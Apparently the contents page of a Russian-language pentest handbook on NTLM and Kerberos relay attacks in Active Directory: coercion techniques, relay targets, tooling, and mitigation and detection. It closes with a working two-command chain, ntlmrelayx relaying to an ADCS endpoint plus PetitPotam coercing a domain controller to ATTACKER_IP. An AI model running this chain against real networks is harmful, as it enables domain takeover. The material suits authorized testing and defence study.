Релейная Библия — Руководство по ретрансляции для внутреннего пентеста

Полное руководство по атакам с ретрансляцией NTLM в рамках авторизованных внутренних пентестов. Охватывает основы аутентификации, методы принуждения, цели ретрансляции по протоколам, инструменты, продвинутое связывание и защитные меры.

Предварительные требования

• Хост атакующего с Linux (Kali, Parrot или аналогичный)
• Python 3.10+ с установленным Impacket
• Сетевой доступ к целевой среде (авторизованное соглашение)
• Базовое понимание Active Directory и сетевого взаимодействия Windows

Содержание

1. Основы

• Теория аутентификации NTLM и ретрансляции — Как работает NTLM, почему возможна ретрансляция, NTLMv1 vs v2, подпись, EPA
• Теория аутентификации Kerberos и ретрансляции — Обмен AS/TGS/AP, канонизация SPN, почему Kerberos всё ещё можно ретранслировать
• Выявление возможностей для ретрансляции — Перебор, поиск хостов без подписи, картографирование поверхности атаки

2. Методы принуждения

• Обзор принуждения — Принуждение машин к аутентификации на ваш слушатель
• PetitPotam (MS-EFSRPC)
• PrinterBug / SpoolSample (MS-RPRN)
• DFSCoerce (MS-DFSNM)
• ShadowCoerce (MS-FSRVP)

3. Цели ретрансляции (по протоколам)

• Ретрансляция SMB — Ретрансляция на SMB для выполнения кода
• Ретрансляция LDAP / LDAPS — Делегирование доступа, создание учётных записей машин, RBCD
• Ретрансляция MSSQL — Ретрансляция на SQL Server для выполнения команд
• Ретрансляция HTTP / WebDAV — Ретрансляция на веб-конечные точки, принуждение через WebDAV
• Атаки на ADCS (ESC1–ESC15) — Все техники повышения прав ADCS, включая ретрансляцию
• Ретрансляция SMTP / IMAP — Ретрансляция на Exchange/почтовые службы
• Ретрансляция RPC / DCOM — Ретрансляция на конечные точки RPC
• Ретрансляция через SOCKS-прокси — Поддержание постоянных сессий ретрансляции через SOCKS

4. Настройка и использование инструментов

• Responder — Отравление и захват хэшей
• ntlmrelayx.py — Основной фреймворк для ретрансляции
• mitm6 — Захват DNS IPv6 для принуждения
• Certipy — Перебор ADCS и ретрансляция
• Coercer — Автоматизированный инструмент принуждения
• krbrelayx — Ретрансляция Kerberos и злоупотребление делегированием

5. Продвинутые техники

• Кросс-протокольная ретрансляция — Ретрансляция из одного протокола в другой
• Цепочки атак с IPv6 — Комбинации mitm6 + ретрансляция
• Связывание ретрансляции и пивотинг — Многошаговые сценарии ретрансляции
• Трюк принуждения через WebDAV — Принуждение HTTP-аутентификации с машин
• Ретрансляция Kerberos через злоупотребление CNAME DNS — Cymulate / CVE-2026-20929, ретрансляция TGS Kerberos через отравление CNAME

6. Защита и обнаружение

• Смягчение — Подпись SMB, подпись LDAP, EPA, отключение NTLM
• Обнаружение — Источники журналов, правила Sigma, поведенческие индикаторы

Краткая справка: Ретрансляция NTLM — Что можно ретранслировать куда?

Относится к классической ретрансляции NTLM в современных пропатченных средах (после CVE-2019-1040). Для более детального межпротокольного разбора см. Кросс-протокольная ретрансляция.

* Цель не должна требовать подпись SMB † NTLM из источника SMB включает флаги подписи в NEGOTIATE, которые LDAP и ADCS HTTP требуют — из-за чего сессия ретрансляции требует ключ подписи, которого у атакующего нет. Поэтому для ретрансляции на LDAP и ADCS предпочитают аутентификацию из WebDAV/HTTP.

Краткая справка: Ретрансляция Kerberos через злоупотребление CNAME DNS

Примитив Cymulate / CVE-2026-20929 (январь 2026) — атакующий отравляет DNS с помощью CNAME, Windows канонизирует SPN, клиент запрашивает TGS для выбранной атакующим цели, AP-REQ ретранслируется. Поскольку многие службы принимают билеты только на основе DNS-части SPN, класс исходного SPN имеет гораздо меньшее значение, чем в ретрансляции NTLM — атака ограничивается тем, применяет ли целевая служба собственный контроль антиретрансляции.

Все строки предполагают, что атакующий имеет сетевую позицию для отравления DNS (DHCPv6 через mitm6, ARP, неблагонадёжный DHCPv4). Полная техника: Ретрансляция Kerberos через злоупотребление CNAME DNS.

Быстрый старт

1. Перебор — Найдите хосты с отключённой подписью и определите цели принуждения
2. Позиционирование — Запустите ваш слушатель ретрансляции (ntlmrelayx), указав цель
3. Принуждение — Запустите аутентификацию с исходной машины на ваш слушатель
4. Результат — Ретрансляция захватывает и перенаправляет аутентификацию на ваш целевой протокол

# Classic example: coerce DC, relay to ADCS for a DC certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP